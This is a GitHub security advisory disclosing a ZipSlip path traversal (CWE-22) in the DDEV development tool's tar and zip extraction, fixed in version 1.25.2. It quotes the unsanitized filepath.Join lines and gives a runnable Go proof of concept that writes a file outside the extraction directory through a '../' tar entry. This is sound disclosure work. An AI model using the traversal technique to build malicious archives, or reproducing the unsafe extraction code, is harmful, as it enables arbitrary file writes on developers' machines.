GitHub Advisoryadvisory · Go
GHSA-x2xq-qhjf-5mvg DDEV has ZipSlip path traversal in tar and zip archive extraction
MEDIUM
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- Aliases
- CVE-2026-32885
- Ecosystem
- Go
- Packages
- github.com/ddev/ddev
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2026-04-22
Affected packages
• Go github.com/ddev/ddev: < 1.25.2 → fixed in 1.25.2
Description
Summary
The DDEV local dev tool has unsanitized extraction in both `Untar()` and `Unzip()` functions in `pkg/archive/archive.go`. This flaw allows users to download and extract archives from remote sources without path validation.
Vulnerable Code
`pkg/archive/archive.go:235` (Untar):
```go
fullPath := filepath.Join(dest, file.Name) // NO SANITIZATION
```
`pkg/archive/archive.go:342` (Unzip):
```go
fullPath := filepath.Join(dest, file.Name) // NO SANITIZATION
```
Both functions create directories via `os.MkdirAll` and files via `os.Create` using the unsanitized path.
Impact
Local development tool that downloads and extracts archives from remote sources (add-ons, updates). Malicious archive → arbitrary file write on developer machine.
Proof of Concept
```go
package main
// PoC: ddev/ddev CWE-22 — ZipSlip in tar archive extraction
// Replicates the exact pattern from pkg/archive/archive.go:235 (Untar)
// and pkg/archive/archive.go:342 (Unzip) — both use filepath.Join(dest, name)
// without verifying the result stays under the destination directory.
import (
"archive/tar"
"bytes"
"fmt"
"io"
"os"
"path/filepath"
)
// Vulnerable extraction — mirrors pkg/archive/archive.go:235
func untarVulnerable(dst string, r io.Reader) error {
tr := tar.NewReader(r)
for {
header, err := tr.Next()
if err == io.EOF {
break
}
if err != nil {
return err
}
// VULNERABLE: identical to archive.go:235
// fullPath := filepath.Join(dest, file.Name)
fullPath := filepath.Join(dst, header.Name)
switch header.Typeflag {
case tar.TypeDir:
os.MkdirAll(fullPath, 0755)
case tar.TypeReg:
os.MkdirAll(filepath.Dir(fullPath), 0755)
f, _ := os.Create(fullPath)
io.Copy(f, tr)
f.Close()
}
}
return nil
}
func main() {
// Build malicious tar with traversal entry
var buf bytes.Buffer
tw := tar.NewWriter(&buf)
payload := []byte("# PoC: ddev/ddev CWE-22 path traversal\n")
tw.WriteHeader(&tar.Header{
Name: "../../../../../../tmp/ddev_cwe22_poc",
Mode: 0644,
Size: int64(len(payload)),
})
tw.Write(payload)
tw.Close()
// Extract into temp directory
extractDir, _ := os.MkdirTemp("", "ddev-poc-*")
defer os.RemoveAll(extractDir)
untarVulnerable(extractDir, &buf)
// Verify escape
escaped := "/tmp/ddev_cwe22_poc"
if data, err := os.ReadFile(escaped); err == nil {
fmt.Printf("[!!!] VULNERABLE — file written to: %s\n", escaped)
fmt.Printf("[!!!] Content: %s", string(data))
os.Remove(escaped)
} else {
fmt.Println("[OK] Not vulnerable")
}
}
```
Output:
```
[!!!] VULNERABLE — file written to: /tmp/ddev_cwe22_poc
[!!!] Content: # PoC: ddev/ddev CWE-22 path traversal
```
> Note: Both `Untar` (archive.go:235) and `Unzip` (archive.go:342) use the same `filepath.Join(dest, file.Name)` pattern without containment checks. This PoC demonstrates the tar path; the zip path is analogously exploitable.
Suggested Fix
Add path containment check in both Untar and Unzip functions.
Credit
Kai Aizen (SnailSploit) — Adversarial AI & Security Research
Related
Alias · CVE (1)
- CVE-2026-32885 DDEV is an open-source tool for running local web development environments for PHP and Node.js. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
References
- https://github.com/ddev/ddev/security/advisories/GHSA-x2xq-qhjf-5mvg web
- https://nvd.nist.gov/vuln/detail/CVE-2026-32885 advisory
- https://github.com/ddev/ddev/pull/8213 web
- https://github.com/ddev/ddev/commit/05cbe299770a590b89bfc8dddab33e61b4302e43 web
- https://github.com/ddev/ddev package
- https://github.com/ddev/ddev/releases/tag/v1.25.2 web